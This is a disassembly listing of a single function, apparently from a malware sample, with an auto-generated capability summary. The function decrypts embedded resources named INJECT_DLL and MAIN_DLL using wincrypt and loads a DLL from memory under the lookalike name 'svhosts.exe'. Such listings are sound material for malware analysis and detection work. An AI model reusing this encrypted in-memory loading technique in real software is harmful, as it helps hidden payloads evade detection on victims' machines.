Function at 0x401118
Capabilities:
Encrypt or decrypt via wincrypt
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x420], 0
mov dword [ebp - 0x42c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x424], 0
push 0x40c058
push 0x8e
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x42c], eax
push str.MAIN_KEY
push 0x8e
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x42c]
add eax, 1
push eax
call fcn.00402ee5
add esp, 4
mov dword [ebp - 0x424], eax
mov ecx, dword [ebp - 0x42c]
add ecx, 1
push ecx
push 0
mov edx, dword [ebp - 0x424]
push edx
call fcn.00402b00
add esp, 0xc
mov eax, dword [ebp - 0x42c]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x424]
push edx
call fcn.00402bb0
add esp, 0xc
mov eax, dword [ebp - 0x424]
push eax
mov ecx, 0x40cee0
call fcn.004015a0
call fcn.0040104b
test eax, eax
jne 0x40120b
xor eax, eax
jmp 0x401454
push 0x40c070
push 0x8c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
push 0x400
push 0
lea ecx, [ebp - 0x414]
push ecx
call fcn.00402b00
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
push 0x40c07c
lea eax, [ebp - 0x414]
push eax
call fcn.00402b58
add esp, 0xc
push str.INJECT_DLL
push 0x8c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00402ee5
add esp, 4
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402bb0
add esp, 0xc
mov edx, dword [ebp - 8]
mov dword [ebp - 0x41c], edx
lea eax, [ebp - 0x41c]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
push 0
push 1
push 0
mov edx, dword [0x40ceb4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x4012d1
xor eax, eax
jmp 0x401454
push 0x40c0a4
push 0x8d
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x428], eax
push 0x400
push 0
lea eax, [ebp - 0x414]
push eax
call fcn.00402b00
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
push str.Size_res_From_memory:__d_n
lea edx, [ebp - 0x414]
push edx
call fcn.00402b58
add esp, 0xc
push str.MAIN_DLL
push 0x8d
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x428]
push eax
call fcn.00402ee5
add esp, 4
mov dword [ebp - 0x420], eax
mov ecx, dword [ebp - 0x428]
push ecx
mov edx, dword [ebp - 0x434]
push edx
mov eax, dword [ebp - 0x420]
push eax
call fcn.00402bb0
add esp, 0xc
mov ecx, dword [ebp - 0x428]
mov dword [ebp - 0x430], ecx
lea edx, [ebp - 0x430]
push edx
mov eax, dword [ebp - 0x420]
push eax
push 0
push 1
push 0
mov ecx, dword [0x40ceb4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x4013b2
xor eax, eax
jmp 0x401454
mov edx, dword [ebp - 0x10]
push edx
call fcn.00401b80
add esp, 4
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0
jne 0x4013e5
push 0x40
push str.svhosts.exe
push str.Cant_load_library_from_memory._n
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x401454
push str.StartMem
mov eax, dword [ebp - 0x418]
push eax
call fcn.00402237
add esp, 8
mov dword [ebp - 0x14], eax
push 0x400
push 0
lea ecx, [ebp - 0x414]
push ecx
call fcn.00402b00
add esp, 0xc
mov edx, dword [ebp - 0x420]
push edx
call dword [ebp - 0x14]
add esp, 4
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x438]
push eax
push str.From_memory:__d_n
lea ecx, [ebp - 0x414]
push ecx
call fcn.00402b58
add esp, 0xc
mov edx, dword [ebp - 0x418]
push edx
call fcn.0040232c
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret